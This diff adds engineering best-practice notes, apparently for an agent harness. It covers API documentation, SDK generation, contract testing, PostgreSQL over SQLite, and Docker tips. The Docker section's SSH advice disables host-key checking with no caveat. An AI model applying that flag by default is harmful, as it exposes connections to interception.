+- Validate examples against their schemas in CI -- Spectral rule `oas3-valid-schema-example`.
+
+**Anti-patterns:**
+- Defaulting to Swagger UI in 2026 by habit -- Scalar is a near drop-in with better UX.
+- Hand-written docs maintained alongside the spec -- they always drift.
+- Picking Stoplight Elements expecting active development -- verify the roadmap.
+- SaaS doc vendor whose OpenAPI ingestion is brittle -- test with your real spec before committing.
+- Rendering docs from a build-time snapshot that is never re-validated against the deployed API.
+
+### 7.2 Interactive playgrounds with real auth
+
+**Principle:** Every endpoint in the docs is callable from the page. Auth is collected once at the top of the page; all subsequent requests sign automatically. Examples come from the spec, not from `"string"` / `0` placeholders.
+
+**Why it matters:** The fastest path to a developer's first successful request is the only DX metric that matters. Code samples in their language reduce friction further. Playgrounds that proxy requests through the docs vendor leak credentials and break for CORS-restricted APIs.
+
+**How to implement:**
+- Every endpoint shows code samples in cURL plus 4-6 SDK languages (TypeScript, Python, Go, Java, Ruby, PHP cover ~95% of demand). Generate samples from the same SDK pipeline so they cannot drift.
+- Persist credentials in browser session -- never proxy through the docs vendor.
+- Environment switcher (prod / staging / sandbox) is a first-class control.
+- Every operation has at least 2-3 named examples in the spec (`examples: { minimal: ..., withMetadata: ... }`); the playground pre-fills bodies from them.
+- Provide a Postman public workspace as a complement -- useful for forking and sharing collections, but not a substitute for the embedded portal.
+
+**Anti-patterns:**
+- "Try it" that proxies requests through the docs vendor -- leaks creds, breaks CORS, hides the real network call.
+- Re-prompting for credentials per endpoint instead of persisting a session.
+- Auto-filled bodies as `"string"` / `0` placeholders -- developer must hand-build every payload.
+- Code samples written by hand, drifting behind the SDK; or only cURL shown, forcing developers to translate.
+
+### 7.3 Standard error envelope: RFC 9457 Problem Details
+
+**Principle:** Every error response uses the same envelope, defined once under `components.schemas.Problem` following **RFC 9457 Problem Details for HTTP APIs**. An error catalog page enumerates each `type` URI with its meaning, retryability, and remediation.
+
+**Why it matters:** RFC 9457 (2023) replaced RFC 7807 with a clearer link between `type` URIs and the extension fields a client can expect. Per-endpoint error shapes force every consumer to write custom parsing logic. The catalog turns errors into documentation a developer can search. Cross-reference: §3.3 covers error handling generally; §7.3 is the docs-side counterpart.
+
+**How to implement:**
+- Define one `Problem` schema with `type` (URI), `title`, `status`, `detail`, `instance`, plus your extensions (`code`, `correlation_id`, `errors[]` for validation). Use `application/problem+json` content type on error responses.
+- Every error response in the spec references `#/components/schemas/Problem` (or a refinement of it).
+- Error catalog page enumerates each `type` URI -- meaning, HTTP status, retryability, remediation, link to migration if deprecated.
+- Examples on every error response, with at least these named cases per endpoint where applicable: success, business-rule failure, validation failure, auth failure.
+
+**Anti-patterns:**
+- Per-endpoint bespoke error shapes (`{error: "..."}` here, `{message, code}` there) -- clients can't write one error handler.
+- Single example per endpoint when the realistic case has 4+ shapes.
+- Documenting only HTTP status codes without an application-level `type` URI taxonomy -- clients branch on prose `message` strings.
+- Examples that don't validate against the schema -- run `oas3-valid-schema-example` in CI.
+
+### 7.4 Generated SDKs
+
+**Principle:** SDKs are generated from the OpenAPI spec on every change. The generator opens a PR against the SDK repo so changes can be reviewed and released on a deliberate cadence.
+
+**Why it matters:** Hand-written SDKs maintained by the API team always fall behind the spec. A generated SDK cannot drift. Stripe's pipeline -- a single internal definition fanning out to ~10 SDKs on a daily release cadence -- is the reference architecture.
+
+**How to implement:**
+- For public/customer-facing SDKs -- Stainless (used by Stripe, Anthropic, Cloudflare, OpenAI) or Speakeasy (10 languages, single-runtime-dependency TS output, ships as a self-contained binary). Fern is a credible alternative.
+- For internal stubs and prototypes -- openapi-generator (open source, 50+ languages); generated quality is uneven, fine for internal use but weak for public SDKs without heavy template customisation.
+- A good SDK includes: idiomatic per-language style; automatic retry with exponential backoff + jitter on 429/503; transparent pagination (iterator/async-iterator hides cursor mechanics); typed errors as a discriminated union; built-in auth helpers (OAuth refresh, key rotation); webhook signature verification; small dependency footprint.
+- Pin SDK versions to dated API versions (Stripe model) -- see §7.5.
+
+**Anti-patterns:**
+- Hand-written SDKs maintained by the API team -- always behind the spec.
+- openapi-generator default templates shipped as a public SDK -- surfaces deprecated framework calls, looks non-idiomatic.
+- SDKs with no retry, no pagination helper, untyped errors -- every consumer rebuilds the same plumbing.
+- SDKs pulling 25-40 transitive dependencies for a thin HTTP wrapper.
+
+### 7.5 Changelog, versioning UX, and deprecation signals
+
+**Principle:** API changes are communicated both in docs and on the wire. Wire signals are RFC-defined headers (`Deprecation`, `Sunset`, `Link`); the docs side is a machine-readable changelog with migration guides linked from each entry.
+
+**Why it matters:** Deprecating an endpoint in docs only means clients on old SDKs never learn. Sunset dates without migration guides leave developers with nowhere to go. Mature APIs use both channels. Cross-reference: §3.1 covers versioning models; §7.5 is the deprecation-comms counterpart.
+
+**How to implement:**
+- Wire signals -- `Deprecation: @<unix-ts>` (RFC 9745, finalized 2024); `Sunset: <http-date>` (RFC 8594, 2019); `Link: <migration-url>; rel="deprecation"` plus `rel="successor-version"`.
+- Versioning models -- pick one consciously:
+  - **Stripe-style dated versions** (`2026-04-22.<codename>`) -- SDK clients pin a version; minor releases backward-compatible; breaking changes cluster into named majors. Best for fine-grained evolution.
+  - **GitHub-style `X-API-Version` header** -- calendar-dated, opt-in. Lighter weight than Stripe's model.
+  - **URL-path versioning** (`/v1/`, `/v2/`) -- coarse-grained, simple. Acceptable for small APIs; awkward for fine-grained evolution. Used by Twilio and SendGrid for major boundaries.
+- Generate the changelog from `oasdiff` output, filterable by API version, linking every entry to a migration guide.
+- Provide an RSS/Atom or JSON feed of changes so customers can wire alerts.
+- Deprecation lead time -- 12 months minimum for public APIs (Twilio policy), 6+ for partner APIs.
+
+**Anti-patterns:**
+- Deprecating in docs only with nothing on the wire -- clients on old SDKs never learn.
+- Sunset dates without migration guides.
+- Major-version-bump-only versioning (`/v1` → `/v2`) for small additive changes -- forces clients to choose between staying on a frozen API or rewriting everything.
+- Changelog as a hand-written prose blog with no machine-readable feed and no link to API version.
+- "Breaking changes" buried in release notes without explicit replacement field/endpoint pointers.
+
+---
+
+## 8. Contract Testing and API Quality
+
+Schema validation, contract tests, and drift detection turn the OpenAPI document from §0.2 into a executable contract that the running service must obey.
+
+### 8.1 Schema validation in the existing test suite
+
+**Principle:** Every test that exercises an HTTP handler validates both the request and response against the committed OpenAPI spec, in-process. This is the foundation of contract testing -- cheap, fast, integrated with whatever test framework you already use.
+
+**Why it matters:** Spec drift kills consumers. A middleware that asserts every request and response against the spec catches "spec lies, code is right" drift the moment it appears. Validating only requests (and trusting framework parsing for responses) is the most common gap -- response drift is the more common production bug.
+
+**How to implement:**
+- Per language:
+  - **Python** -- `openapi-core` (Flask, Django, Falcon, Starlette, Werkzeug, Requests integrations).
+  - **Node** -- `express-openapi-validator` (auto-validates requests, responses, security).
+  - **Ruby** -- `committee` (Rack middleware + `Committee::Test::Methods` test helpers).
+  - **Java/Kotlin** -- `springdoc-openapi` + Spring REST Docs, or `atlassian/swagger-request-validator` for MockMvc/RestAssured.
+  - **Go** -- `kin-openapi` (`openapi3filter`).
+- Validate both directions in tests, not just at runtime.
+- Reload the spec on every test run -- never cache it across runs in CI.
+- Validation failures must be build-failing; warning-level is ignored within a sprint.
+
+**Anti-patterns:**
+- Validating only requests, not responses -- response drift is the more common bug.
+- Hand-written JSON Schema next to the OpenAPI doc -- they will diverge.
+- Validation failures as warnings instead of build failures.
+- Loading the spec once at app startup and never re-loading in tests, so spec edits don't reach the validator.
+
+### 8.2 Provider verification vs consumer-driven contracts
+
+**Principle:** Provider-side spec compliance (Schemathesis, Dredd) is the default. Consumer-driven contracts (Pact) are a deliberate add-on for APIs with a small, known set of internal consumers.
+
+**Why it matters:** CDC with Pact is high-value when you have a mobile app + web SPA + a couple of internal services that talk to one provider -- each consumer publishes a contract describing what it actually calls; the provider verifies against all of them and uses `can-i-deploy` to gate releases. CDC is overkill (and frequently abandoned) when the provider has many unknown consumers, when teams are organisationally distant, or when an OpenAPI-first workflow already gives you provider compliance via §8.1 and §8.3.
+
+**How to implement:**
+- Default -- Schemathesis (provider-side, OpenAPI-driven, see §8.3) plus the schema validation in §8.1.
+- Add Pact when -- you publish SDKs you control, you have a known set of internal consumers, or consumer teams want guarantees independent of the provider's tests.
+- For Pact -- store contracts in PactFlow / Pact Broker. Gate provider deploys on `can-i-deploy`. The contract is not advisory -- the broker is part of the release pipeline.
+- For mixed worlds (some consumers known, many not) -- bi-directional contract testing in PactFlow accepts the OpenAPI document as the provider contract; gives you provider compliance without per-consumer Pacts.
+
+**Anti-patterns:**
+- Adopting Pact organisation-wide for an API with public/unknown consumers -- you can't enumerate the contracts.
+- Consumer Pacts using random data -- every run produces a "new" contract; the broker fills with noise.
+- Provider verification as advisory (not gating deploys) -- the contract becomes documentation only.
+- Conflating CDC with end-to-end testing -- they answer different questions, and CDC should not stand in for E2E nor vice-versa.
+
+### 8.3 Property-based fuzz testing the spec
+
+**Principle:** Run Schemathesis against the running service in CI. It generates conformant requests from the OpenAPI document, exercises endpoints in stateful sequences derived from `links`, and asserts behavioural properties -- no 5xx where 4xx is expected, response bodies match the declared response schema, status codes are documented, security boundaries hold.
+
+**Why it matters:** Unit tests probe values you thought of; property-based fuzzing probes values the schema *says are legal* but you never tried -- Unicode, edge integers, deeply nested optional fields, missing-but-valid combinations. Schemathesis caught 1.4×-4.5× more defects than competing API fuzzers in published evaluations; production users include Spotify, JetBrains, Red Hat, WordPress.
+
+**How to implement:**
+- Adopt Schemathesis 4.x. Use stateful mode (`st fuzz`) -- most real bugs are sequence-dependent (create → read returns wrong shape) and stateless fuzzing can't find them.
+- Run against a real service backed by a real database, not mocks -- many bugs only surface with persistent state.
+- Wire reports into CI -- Allure, JUnit, or HAR for replaying failures.
+- Use `after_validate` hooks for custom invariants beyond what the schema declares (e.g. "the same `id` must reappear on subsequent GETs").
+- For dynamic auth (OAuth, refresh tokens), Schemathesis 4.13+ has first-class config -- no Python glue code needed.
+
+**Anti-patterns:**
+- Running Schemathesis only against a mocked dev server -- misses bugs that depend on real DB state and auth.
+- Excluding 5xx checks because they're "flaky" -- a 5xx on a schema-valid request is the most important signal Schemathesis produces. Fix the bug, don't suppress the check.
+- Running it once and suppressing all failures with `--exclude` -- hides drift forever.
+- Skipping stateful mode -- most real bugs are sequence-dependent.
+
+### 8.4 Drift detection in CI
+
+**Principle:** Three artefacts must stay in sync -- (a) the spec in the repo, (b) the spec the running service exposes, (c) the behaviour of the deployed production service. CI must detect drift between any pair.
+
+**Why it matters:** A code-first project without a "regenerate-and-diff" CI step *will* drift -- the only question is when. Runtime drift between deployed-API behaviour and the documented spec is the most expensive failure because consumer SDKs were generated against the documented version.
+
+**How to implement:**
+- **Spec-vs-spec on PR** -- `oasdiff` (Go CLI + GitHub Action) checks 450+ categories of breaking changes; non-zero exit gates the PR. Pair with Spectral for style/governance.
+- **Code-vs-spec in CI** -- for code-first stacks, regenerate the spec from code in CI and `oasdiff` against the committed spec -- fail the build if non-empty.
+- **Runtime-vs-spec** -- sample real traffic and validate against the spec. Optic captures HTTP traffic and diffs against the spec; Speakeasy offers SDK-driven runtime drift detection.
+- Breaking-change detection must be a required PR check, not a Slack notification.
+
+**Anti-patterns:**
+- Code-first project with no spec regeneration step -- the committed spec rots silently.
+- Breaking-change detection as a Slack notification rather than a required PR check.
+- Linting only on a schedule rather than per-PR -- drift accumulates between runs.
+- No production sampling -- the deployed API can diverge from spec without anyone noticing until a consumer breaks.
+
+### 8.5 The API test pyramid
+
+**Principle:** Layer tests as -- unit → schema-validated handler tests (§8.1) → contract tests (§8.2 / §8.3) → integration (real DB, real downstreams) → smoke tests of the deployed environment. Contract tests sit between unit and integration: faster than integration, broader in scope than unit.
+
+**Why it matters:** 100% mocked tests with no contract layer encode developer assumptions, not the actual provider's behaviour. The classic failure mode -- "all green in CI, broken in prod" -- comes from this gap. A contract layer breaks the dependency on slow, flaky integration environments while still catching real interface drift.
+
+**How to implement:**
+- Unit tests cover pure logic with no I/O -- fastest, most numerous.
+- Schema-validated handler tests (§8.1) cover most contract-shape concerns in-process.
+- Contract tests (§8.2 / §8.3) hit the running service, no mocks. Run on every PR.
+- Integration tests cover real DB + real downstream stubs (or testcontainers). Slower; run on PR but fewer in number.
+- Post-deploy smoke tests are a tiny set of canary checks (login, list, create one resource, delete it) against the deployed environment -- catch infra/config drift (TLS, auth proxy, env var) that contract tests cannot.
+
+**Anti-patterns:**
+- 100% mocked tests with no contract layer -- mocks encode assumptions, drift is invisible until prod.
+- Contract tests against a stale spec -- the suite passes but the spec doesn't match deployed behaviour. Pair with §8.4.
+- Skipping post-deploy smoke tests because "we have contract tests" -- contract tests don't catch infra drift.
+- Inverted pyramid (UI-test-heavy "ice cream cone") -- slow, flaky, brittle.
+- Treating Schemathesis as integration tests -- it's contract verification, not business-flow testing; you still need a small set of curated end-to-end scenarios.
+
+---
+
+## OWASP API Security Top 10 (2023) Quick Reference
+
+For context, the current OWASP API Security Top 10 maps to the practices above:
+
+| # | Risk | Where addressed |
+|---|------|----------------|
+| API1 | Broken Object-Level Authorization | Section 2.4 |
+| API2 | Broken Authentication | Sections 2.1, 2.2, 2.3 |
+| API3 | Broken Object Property-Level Authorization | Section 2.4, 4.1 |
+| API4 | Unrestricted Resource Consumption | Sections 3.5, 4.3 |
+| API5 | Broken Function-Level Authorization | Section 2.4 |
+| API6 | Unrestricted Access to Sensitive Business Flows | Sections 3.4, 3.5 |
+| API7 | Server-Side Request Forgery | Section 4.2 |
+| API8 | Security Misconfiguration | Sections 1.1, 6.1 |
+| API9 | Improper Inventory Management | Section 3.1 |
+| API10 | Unsafe Consumption of APIs | Section 4.2 |
+
+---
+
+## Sources
+
+### Security and operations (§1-§6)
+- [OWASP API Security Top 10](https://owasp.org/API-Security/)
+- [RFC 9700 - OAuth 2.0 Security Best Current Practice (January 2025)](https://datatracker.ietf.org/doc/rfc9700/)
+- [OAuth best practices: RFC 9700 summary -- WorkOS](https://workos.com/blog/oauth-best-practices)
+- [IETF Idempotency-Key Header Draft](https://datatracker.ietf.org/doc/draft-ietf-httpapi-idempotency-key-header/)
+- [Google AIP-193: Errors](https://google.aip.dev/193)
+- [ByteByteGo: REST API Design](https://blog.bytebytego.com/p/the-art-of-rest-api-design-idempotency)
+- [Zuplo: Rate Limiting Best Practices](https://zuplo.com/learning-center/10-best-practices-for-api-rate-limiting-in-2025)
+- [Zuplo: Input/Output Validation](https://zuplo.com/blog/2025/03/25/input-output-validation-best-practices)
+- [OWASP Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)
+- [Machine Identity: mTLS + SPIFFE Zero Trust Guide](https://petronellatech.com/blog/machine-identity-is-the-new-perimeter-mtls-spiffe-for-zero-trust/)
+- [Buoyant: Zero Trust, mTLS, and the Service Mesh](https://www.buoyant.io/blog/zero-trust-mtls-and-the-service-mesh-explained)
+- [Kong: Zero Trust with Service Mesh](https://konghq.com/blog/engineering/zero-trust-service-mesh-security)
+- [Microsoft Azure: Web API Design Best Practices](https://learn.microsoft.com/en-us/azure/architecture/best-practices/api-design)
+
+### API-first methodology (§0)
+- [APIs You Won't Hate: A Developer's Guide to API Design-First](https://apisyouwonthate.com/blog/a-developers-guide-to-api-design-first/)
+- [Generating OpenAPI from Code is an Anti-Pattern -- Craig Drabik](https://medium.com/@craigdrabik/generating-openapi-or-swagger-from-code-is-an-anti-pattern-and-heres-why-bfb27aa98e2d)
+- [How Stripe Builds APIs -- Postman Blog](https://blog.postman.com/how-stripe-builds-apis/)
+- [Postman 2024 State of the API Report](https://www.postman.com/state-of-api/2024)
+- [TypeSpec: API Design-First with Microsoft TypeSpec](https://devblogs.microsoft.com/ise/design-api-first-with-typespec/)
+- [OpenAPI 3.0 → 3.1 Upgrade Guide](https://learn.openapis.org/upgrading/v3.0-to-v3.1.html)
+- [OpenAPI Specification v3.1.2](https://spec.openapis.org/oas/v3.1.2.html)
+- [Spectral OpenAPI Linter](https://github.com/stoplightio/spectral)
+- [Spectral OWASP API 2023 Ruleset](https://github.com/stoplightio/spectral-owasp-ruleset)
+- [Spectral API Governance -- Kin Lane (Jan 2025)](https://apievangelist.com/2025/01/21/the-properties-of-spectral-api-governance-rules/)
+- [Dogfooding -- Australian Government API Design Guide](https://apiguide.readthedocs.io/en/latest/principles/dogfood.html)
+- [Dogfooding Your API -- Zapier Engineering](https://zapier.com/engineering/api-dogfooding)
+
+### Documentation and DX (§7)
+- [RFC 9457 -- Problem Details for HTTP APIs (2023)](https://datatracker.ietf.org/doc/html/rfc9457)
+- [RFC 9745 -- The Deprecation HTTP Response Header Field (2024)](https://www.rfc-editor.org/rfc/rfc9745.html)
+- [RFC 8594 -- The Sunset HTTP Header Field (2019)](https://www.rfc-editor.org/rfc/rfc8594.html)
+- [Speakeasy: Choosing a docs vendor (2025)](https://www.speakeasy.com/blog/choosing-a-docs-vendor)
+- [APIs You Won't Hate: Top 5 API docs tools 2025](https://apisyouwonthate.com/blog/top-5-best-api-docs-tools/)
+- [Scalar API Reference (open source)](https://github.com/scalar/scalar)
+- [Speakeasy: SDK Generator Comparison](https://www.speakeasy.com/blog/comparison-sdk-generators-openapi)
+- [Stainless: Cloudflare SDK pipeline case study](https://www.stainless.com/customers/cloudflare)
+- [Nordic APIs: 8 SDK generators reviewed (2025)](https://nordicapis.com/review-of-8-sdk-generators-for-apis-in-2025/)
+- [Stripe: API versioning](https://stripe.com/blog/api-versioning)
+- [Zalando RESTful API Guidelines: Deprecation](https://github.com/zalando/restful-api-guidelines/blob/main/chapters/deprecation.adoc)
+
+### Contract testing and quality (§8)
+- [openapi-core (Python)](https://github.com/python-openapi/openapi-core)
+- [express-openapi-validator (Node)](https://github.com/cdimascio/express-openapi-validator)
+- [Pact -- Consumer-Driven Contract Testing](https://docs.pact.io/)
+- [PactFlow: Bi-directional vs Consumer-Driven Contract Testing](https://pactflow.io/difference-between-consumer-driven-contract-testing-and-bi-directional-contract-testing/)
+- [PactFlow: The Curious Case for the Provider-Driven Contract](https://pactflow.io/blog/the-curious-case-for-the-provider-driven-contract/)
+- [Tweag: Contract Testing (January 2025)](https://www.tweag.io/blog/2025-01-23-contract-testing/)
+- [Schemathesis](https://schemathesis.io/)
+- [Schemathesis on GitHub](https://github.com/schemathesis/schemathesis)
+- [Capital One: API Testing with Schemathesis](https://www.capitalone.com/tech/software-engineering/api-testing-schemathesis/)
+- [oasdiff -- OpenAPI breaking-change detector](https://www.oasdiff.com/)
+- [Speakeasy: OpenAPI Drift Detection](https://www.speakeasy.com/blog/openapi-spec-drift-detection)
+- [Martin Fowler: The Practical Test Pyramid](https://martinfowler.com/articles/practical-test-pyramid.html)

harnesses/contexts/best-practices/v1/best-practices/database-selection.md

@@ -1 +0,0 @@
-../../../planning/v1/best-practices/database-selection.md

harnesses/contexts/best-practices/v1/best-practices/database-selection.md

@@ -0,0 +1,143 @@
+# Database Selection
+
+## The Rule: SQLite Is Not a Production Database
+
+**Any service that meets ANY of the following criteria MUST use PostgreSQL (or equivalent server-grade database) from day one:**
+
+- Attached to a FQDN (has a real domain name, even internal)
+- Serves traffic from more than one process (API consumers, CI runners, webhooks, polling)
+- Backs infrastructure that other systems depend on (Git hosting, container registries, auth providers)
+- Will be accessed concurrently by automated systems (ArgoCD, CI runners, cron jobs)
+
+**Do not use SQLite for these workloads. Not temporarily. Not "to start with." Not "we'll migrate later."**
+
+SQLite uses file-level locking — only one writer at a time, and writes block reads. Under concurrent access, requests queue up waiting for the write lock, causing cascading timeouts. The failure mode is insidious: the service appears to work fine under light load but becomes intermittently unresponsive under real workloads. By the time you notice, everything that depends on it is also failing.
+
+## The Cost of "We'll Migrate Later"
+
+The Gitea SQLite→PostgreSQL migration (2026-03-28) cost nearly a full day of productivity:
+
+- **Hours of accumulated unresponsiveness** across multiple projects before root cause was identified
+- **Planning and implementation** of the migration itself
+- **Migration complexity** that didn't need to exist: Gitea 1.23 has no `restore` command, `doctor convert` only handles charset conversion, `docker cp` corrupted PostgreSQL directory permissions, SSH authorized_keys weren't regenerated
+- **Downstream impact** on ArgoCD (20 apps polling a locked database), CI runners (continuous 500 errors), container registry pulls (timeouts)
+
+The PostgreSQL container takes 5 minutes to add to a Docker Compose stack at initial setup time. The migration took a day. Always pay the 5 minutes upfront.
+
+## When SQLite Is Acceptable
+
+SQLite is fine for:
+- Local development databases (single developer, single process)
+- Embedded application data stores (mobile apps, desktop apps, CLI tools)
+- Read-heavy workloads with rare writes and a single writer process
+- Test fixtures and throwaway data
+- Configuration stores read at startup (not at request time)
+
+## Implementation Pattern
+
+For Docker Compose services that need a database:
+
+```yaml
+services:
+  postgres:
+    image: postgres:17-alpine
+    restart: unless-stopped
+    environment:
+      POSTGRES_DB: myapp
+      POSTGRES_USER: myapp
+      POSTGRES_PASSWORD: {{ db_password }}
+    volumes:
+      - /opt/postgres-myapp:/var/lib/postgresql/data
+    healthcheck:
+      test: ["CMD-SHELL", "pg_isready -U myapp -d myapp"]
+      interval: 10s
+      timeout: 5s
+      retries: 5
+      start_period: 30s
+    networks:
+      - app_internal
+    deploy:
+      resources:
+        limits:
+          memory: 1G
+
+  myapp:
+    depends_on:
+      postgres:
+        condition: service_healthy
+    networks:
+      - app_internal
+      - external_network
+
+networks:
+  app_internal:
+    driver: bridge
+    internal: true
+```
+
+Key points:
+- PostgreSQL on an **internal bridge network** (no external access needed)
+- Application **depends on PostgreSQL health** before starting
+- **Resource limits** to prevent runaway memory usage
+- **Separate data directory** per application (`/opt/postgres-myapp`, not shared)
+- PostgreSQL container UID is **999** (not 1000) — set directory ownership accordingly
+
+## For Kubernetes Deployments
+
+Use the application's Helm chart PostgreSQL subchart, or deploy a standalone PostgreSQL instance:
+- Bitnami PostgreSQL Helm chart for simple deployments
+- CloudNativePG operator for production-grade PostgreSQL with HA, backups, and failover
+- Never use SQLite with `emptyDir` or even PVC-backed volumes in multi-replica deployments
+
+## Checklist for New Service Deployment
+
+Before deploying any new service, check:
+
+1. What database does the default configuration use?
+2. If SQLite: does the service support PostgreSQL? (Almost all do — Gitea, Authelia, Headscale, Zulip, etc.)
+3. Switch to PostgreSQL **before the first deployment**, not after problems appear
+4. Add the database password to SOPS-encrypted secrets
+5. Verify the database connection works before adding consumers
+
+## `ON CONFLICT DO NOTHING` Requires a Real Unique Constraint
+
+SQLAlchemy `on_conflict_do_nothing()` and raw `ON CONFLICT DO NOTHING` only work when there is a matching unique constraint or unique index. Without one, the statement either silently does nothing or inserts a duplicate, depending on the exact phrasing.
+
+**Trap:** "URL" looks like a natural unique key for a crawl/ingest table, so the LLM or developer adds `UNIQUE(url)` to make the upsert work. But URL content changes over time — two rows for the same URL at different timestamps are semantically distinct. The fake unique constraint then corrupts the model (or blocks legitimate re-ingestion).
+
+**Rule:**
+
+- If the natural key is truly unique (user ID, slug, message hash), add the unique constraint and use `on_conflict_do_nothing()`
+- If the natural key is *not* unique over time (URL, title, filename), use **query-before-insert** in a transaction, not a fake unique constraint
+- Don't invent unique constraints to make `ON CONFLICT` work — you're encoding a false invariant into the schema
+
+## Alembic Multi-Schema Migrations
+
+To run Alembic against multiple Postgres schemas in one database:
+
+1. Set `include_schemas=True` in `env.py` so autogenerate sees non-default schemas
+2. Add an `include_name` filter so autogenerate only tracks the schemas you manage (otherwise it tries to "fix" `information_schema`, `pg_catalog`, etc.)
+3. **Issue `CREATE SCHEMA IF NOT EXISTS <name>`** before `run_migrations()` — otherwise the first migration fails on a missing schema
+
+```python
+def include_name(name, type_, parent_names):
+    if type_ == "schema":
+        return name in {"app", "audit", "reporting"}
+    return True
+
+def run_migrations_online():
+    connectable = engine_from_config(...)
+    with connectable.connect() as connection:
+        for schema in ("app", "audit", "reporting"):
+            connection.execute(text(f'CREATE SCHEMA IF NOT EXISTS "{schema}"'))
+        context.configure(
+            connection=connection,
+            include_schemas=True,
+            include_name=include_name,
+            ...
+        )
+        with context.begin_transaction():
+            context.run_migrations()
+```
+
+Also set `version_table_schema` on `context.configure` if the Alembic version table should live in a specific schema rather than `public`.

harnesses/contexts/best-practices/v1/best-practices/docker.md

@@ -1 +0,0 @@
-../../../planning/v1/best-practices/docker.md

harnesses/contexts/best-practices/v1/best-practices/docker.md

@@ -0,0 +1,177 @@
+# Docker Best Practices
+
+## Use gosu for Entrypoint Privilege Dropping
+
+`su -c "command"` and `sudo -u agent command` create child processes. The real command is not PID 1, so Docker signals (SIGTERM on stop) don't reach it. Use `gosu agent command` which execs directly — the command becomes PID 1 with proper signal handling.
+
+## GIT_SSH_COMMAND Only Affects Git-Invoked SSH
+
+`GIT_SSH_COMMAND` only applies when git invokes SSH (clone, push, fetch). Direct `ssh` calls need explicit flags: `ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null`. Don't assume setting `GIT_SSH_COMMAND` fixes all SSH operations in a container.
+
+## Use Python urllib for Health Checks in Slim Images
+
+Service images based on `python:3.12-slim` don't include curl. For in-container health checks, use `python3 -c "import urllib.request; urllib.request.urlopen('http://...')"`. This applies to verification scripts using `kubectl exec` and to Kubernetes liveness/readiness probes that exec into containers.
+
+## Buildx Docker-Container Driver Can't See Local Images
+
+When using buildx with the docker-container driver, `FROM local-image:latest` tries Docker Hub because the builder runs in a separate container that can't see locally-loaded images. Always use the full registry path in Dockerfiles. In CI, split into sequential jobs so base images are pushed to the registry before dependent images build.
+
+## Delete Conflicting Default Users at Build Time
+
+Ubuntu 24.04 base images ship with a `ubuntu` user at UID 1000 — the most common host UID. This causes `usermod -u 1000` conflicts and can trigger non-deterministic hangs (e.g., `newgrp ubuntu` waiting for a password on stdin). Delete the default user in the Dockerfile: `RUN userdel -r ubuntu`.
+
+## Service Images Should Use Minimal Base Images
+
+Service images (API servers, background workers) should use `python:3.12-slim` or equivalent, not the agent base image. Agent base images include CLIs, Node.js, and other tooling that bloats service images unnecessarily. Keep agent tooling in agent images only.
+
+## Platform-Specific Native Binaries
+
+Never mount host `node_modules` into a Docker container when the build uses platform-specific native binaries (e.g., Tailwind CSS, esbuild, SWC). Always run `npm install` inside the same container that runs the build. The native binary is compiled for the platform where `npm install` runs — host and container may differ in libc, architecture, or OS.
+
+**Symptom:** `Cannot find native binding` or `Cannot find module '@tailwindcss/oxide-linux-x64-gnu'`
+**Fix:** Run `npm install` inside the container, not on the host.
+
+## Docker Wrapper Scripts and TTY Flags
+
+Docker wrapper scripts (e.g., `~/sbin/hugo` calling `docker run -it ...`) fail with `the input device is not a TTY` in non-interactive contexts (CI pipelines, Claude Code, cron jobs, scripts).
+
+**Fix:** Only pass `-t` when stdin is a terminal: `[ -t 0 ] && TTY_FLAG="-t" || TTY_FLAG=""`. Or omit `-t` entirely and let callers add it when needed.
+
+## Three-Tier UID Resolution
+
+The UID wrapper should resolve the target UID/GID using this priority:
+1. **Environment variables** (`AGENT_UID`/`AGENT_GID`) — injected by the orchestrator/dispatcher. Preferred because it's explicit and deployment-specific.
+2. **stat the mount point** — detect the UID/GID of the mounted directory. Works when no env vars are set.
+3. **Skip** — if not root or no mount point exists, run as the default container user.
+
+This makes UID matching a deployment concern (varies per host), not a configuration concern (baked into images). See [Docker UID Matching](docker-uid-matching.md) for the full UID wrapper pattern.
+
+## network_mode: service:* Breaks on Parent Container Restart
+
+When a container shares another's network namespace via `network_mode: "service:<parent>"`, restarting the parent recreates the namespace. The dependent container keeps stale socket bindings — its listeners are bound to a namespace that no longer exists. TCP connections fail while the dependent container appears healthy. Fix: add a healthcheck to the parent and use `depends_on: condition: service_healthy` on the dependent. Alternatively, use an internal bridge network instead of namespace sharing.
+
+## docker compose restart Is Concurrent, Not Ordered
+
+`docker compose restart svc1 svc2 svc3` restarts all named services concurrently, ignoring `depends_on` ordering. Dependent services may start before their dependencies are ready. Use `docker compose up -d` (which respects `depends_on`) or restart in explicit stages: stop dependents, restart the dependency, wait for healthy, then start dependents.
+
+## docker cp Can Corrupt Container Filesystem Ownership
+
+`docker cp` runs as root and can change ownership of parent directories in the container's filesystem layer. This is particularly dangerous for database containers (e.g., PostgreSQL UID 999) — copying a file into `/tmp/` can corrupt the data directory ownership, causing "Permission denied" errors. After any `docker cp` into a stateful container, verify and fix ownership: `chown -R <expected-uid>:<expected-gid> <data-dir>`.
+
+## Prefer Internal Bridge Networks Over Namespace Sharing
+
+For sidecar-style containers that need to communicate (e.g., app + database, app + TLS proxy), prefer an internal Docker bridge network over `network_mode: "service:<parent>"`. Bridge networks allow proper `depends_on` ordering with health checks, independent restart of each container, and clear network isolation. Namespace sharing couples container lifecycles — restarting the parent invalidates the dependent's network stack.
+
+## Verify Dockerfile COPY After Creating New Files
+
+After creating a file intended for a Docker image (scripts, configs, wrappers), immediately add the COPY line to the Dockerfile and verify with `docker run --entrypoint sh <image> -c "ls /path/to/file"`. Files placed in image source directories are not automatically included — they need explicit COPY instructions. This class of bug can remain latent until the code path is first exercised.
+
+## docker-compose.override.yaml Merges Lists Additively
+
+Docker Compose V2 merges list fields (ports, volumes, environment) by appending, not replacing. An override file with a different port mapping adds a second binding rather than replacing the original, causing conflicts. Modify the base `docker-compose.yaml` directly or use `!override` for list replacement.
+
+## Volume Source Paths Must Be Absolute
+
+Docker interprets relative paths in volume mount source fields as named volumes, not bind mounts. Use `os.path.abspath()` or equivalent when constructing volume source paths programmatically. The error message ("includes invalid characters for a local volume name") is misleading — the real issue is that the path is relative.
+
+## Init Scripts Needing Root Must Run Before gosu/exec Privilege Drop
+
+In Docker entrypoints that drop privileges via `gosu <user> "$@"` or `exec gosu <user> command`, any setup that requires root (creating directories, setting ownership, writing to system paths) must happen before the `gosu` call. Once `exec gosu` runs, the process is replaced with the unprivileged user — subsequent commands in the same shell context run as that user. Structure entrypoints as: (1) root-level setup, (2) `exec gosu <user> "$@"`.
+
